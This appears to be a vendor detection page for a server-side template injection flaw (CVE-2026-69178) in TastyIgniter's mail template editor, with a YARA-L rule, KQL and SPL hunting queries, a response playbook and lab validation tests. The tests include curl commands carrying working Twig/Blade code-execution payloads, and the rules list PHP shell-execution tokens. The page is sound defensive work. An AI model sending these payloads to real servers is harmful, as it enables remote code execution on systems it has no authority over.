Detect TastyIgniter Mail Template Editor SSTI Remote Code Execution (CVE-2026-69178) in Google Chronicle
Detects exploitation of CVE-2026-69178, a server-side template injection (SSTI, CWE-1336) vulnerability in the TastyIgniter mail template editor affecting tastyigniter/tastyigniter versions before 4.3.1. The mail template editor renders admin-supplied template bodies through the Blade/Twig templating engine without sanitising template directives, allowing an authenticated administrative user (or an attacker who has compromised such access) to inject template expressions that execute arbitrary PHP on the server. Detection focuses on POST requests to the admin mail template save/preview endpoints carrying template-injection payloads, PHP process execution (php-fpm/php spawning shells), and web-shell-like child processes from the TastyIgniter/Laravel application context. CVSS 9.1, public PoC available.
MITRE ATT&CK
- Tactic
- Initial Access Execution
YARA-L Detection Query
// df00tech DF00-175589922c · https://df00tech.com/detections/CVE-2026-69178 · licence: https://df00tech.com/detections/licence
rule tastyigniter_ssti_cve_2026_69178 {
meta:
author = "Argus Detection Platform"
description = "TastyIgniter mail template SSTI RCE CVE-2026-69178"
severity = "HIGH"
events:
$e.metadata.event_type = "NETWORK_HTTP"
$e.network.http.method = "POST"
re.regex($e.target.url, `(?i)mail_templates`)
re.regex($e.target.url, `(?i)(\{\{|\{%|system\(|shell_exec|passthru|proc_open|_self\.env|registerUndefinedFilterCallback|base64_decode)`)
condition:
$e
} Chronicle YARA-L rule matching POST HTTP events to TastyIgniter mail template endpoints containing SSTI/RCE tokens.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate template edits with Blade/Twig expressions.
- Authorised penetration testing.
- URL normalisation differences across HTTP sensors.
Other platforms for CVE-2026-69178
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulate SSTI payload POST to TastyIgniter mail template endpoint
Expected signal: Web access log entry: POST to /admin/mail_templates/edit/1 with URL-decoded body containing '{{ system(' tokens.
- Test 2 Simulate PHP-spawned shell post-exploitation
Expected signal: Process start event: parent=php, child=sh/id/whoami.
- Test 3 Simulate Twig sandbox-escape payload token
Expected signal: Web access log entry with POST to mail_templates/preview containing '_self.env' and 'registerUndefinedFilterCallback' tokens.
Response Playbook
Triage
- Confirm the TastyIgniter version on the affected host; versions < 4.3.1 are vulnerable to CVE-2026-69178.
- Review the web access logs for the matched source IP and determine whether the POST to the mail template endpoint originated from a legitimate authenticated admin session or an unexpected IP/user-agent.
- Pull the saved mail template record from the database (admin_mail_templates / layouts) and inspect the body for injected directives such as {{ system(...) }}, _self.env, or base64-encoded payloads.
- Check whether any PHP/web-server process spawned shell or recon utilities around the time of the request (correlate with the EDR/EQL/CQL queries).
Containment
- Isolate the affected web host from the network if post-exploitation process activity is confirmed.
- Revoke and rotate the credentials/sessions of the admin account used to submit the malicious template, and reset application and database secrets that may have been exposed.
- Remove or revert the malicious mail template body to a known-good value and disable the mail template editor until patched.
Evidence Collection
- Preserve web server access and error logs, PHP-FPM logs, and the full request body for the offending POST requests.
- Export the affected mail template rows from the database (including modified_at and author fields) before remediation.
- Capture process execution telemetry and any dropped files (web shells) under the web root and storage/framework directories for forensic analysis.
Escalation Criteria
- !Escalate to incident response if shell execution or outbound connections from the PHP/web-server process are confirmed.
- !Escalate if evidence shows lateral movement, credential theft, or persistence (new admin users, cron jobs, modified application files) following the template injection.
Investigation Guide
Forensic Artifacts
- >
Modified rows in the TastyIgniter mail template tables (body, modified_at, author). - >
Web server and PHP-FPM access/error logs showing the POST requests and any rendering errors. - >
Newly created or modified PHP files under the application web root and storage/framework/views cache directory.
Tuning Guidance
Baseline which internal admin IPs and user-agents legitimately edit mail templates and allow-list them. Because templates legitimately contain Blade/Twig double-brace expressions, prioritise the process-execution detections (PHP spawning shells) for high-confidence alerting and treat the web-log token matches as medium-confidence corroboration. Narrow the token list if legitimate templates frequently use functions like call_user_func in your environment.
Hunting Queries
Hunt for SSTI payload tokens inside POST requests to the TastyIgniter mail template editor across web logs.
// df00tech DF00-175589922c · https://df00tech.com/detections/CVE-2026-69178 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "mail_templates" and csMethod == "POST" | extend body = url_decode(coalesce(csUriQuery,"")) | where body has_any ("_self.env","registerUndefinedFilterCallback","system(","shell_exec") | project TimeGenerated, cIP, csUriStem, body, scStatus ``` df00tech DF00-175589922c · https://df00tech.com/detections/CVE-2026-69178 · licence: https://df00tech.com/detections/licence ```
index=web sourcetype IN ("iis","access_combined","nginx:plus:access") "mail_templates" method=POST | eval decoded=urldecode(_raw) | search decoded="*_self.env*" OR decoded="*system(*" OR decoded="*shell_exec*" | table _time src_ip uri status Atomic Red Team Tests
Sends a crafted POST request to the mail template save endpoint containing a template-injection payload to validate web-log detection coverage (lab only).
Command
curl -s -X POST 'http://tastyigniter.lab/admin/mail_templates/edit/1' -H 'Cookie: igniter_session=LABSESSION' --data-urlencode 'Template[body]={{ system("id") }}' -o /dev/null Cleanup
curl -s -X POST 'http://tastyigniter.lab/admin/mail_templates/edit/1' -H 'Cookie: igniter_session=LABSESSION' --data-urlencode 'Template[body]=Hello {{ $customer_name }}' -o /dev/null Expected Telemetry
Web access log entry: POST to /admin/mail_templates/edit/1 with URL-decoded body containing '{{ system(' tokens.
Expected Detection
The KQL/SPL/QRadar/Sumo/Chronicle web-log rules match the SSTI token in the POST request.
Emulates the RCE outcome by having a PHP process spawn a shell command, validating EDR process-lineage detections.
Command
php -r 'system("id; whoami");' Cleanup
true Expected Telemetry
Process start event: parent=php, child=sh/id/whoami.
Expected Detection
The Elastic EQL and CrowdStrike CQL process-lineage rules fire on the PHP->shell parent/child relationship.
Sends a POST containing the classic Twig _self.env / registerUndefinedFilterCallback sandbox-escape chain used in SSTI exploitation (lab only).
Command
curl -s -X POST 'http://tastyigniter.lab/admin/mail_templates/preview' -H 'Cookie: igniter_session=LABSESSION' --data-urlencode 'Template[body]={{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}' -o /dev/null Cleanup
true Expected Telemetry
Web access log entry with POST to mail_templates/preview containing '_self.env' and 'registerUndefinedFilterCallback' tokens.
Expected Detection
Web-log detections match the Twig sandbox-escape tokens; alert raised at medium confidence.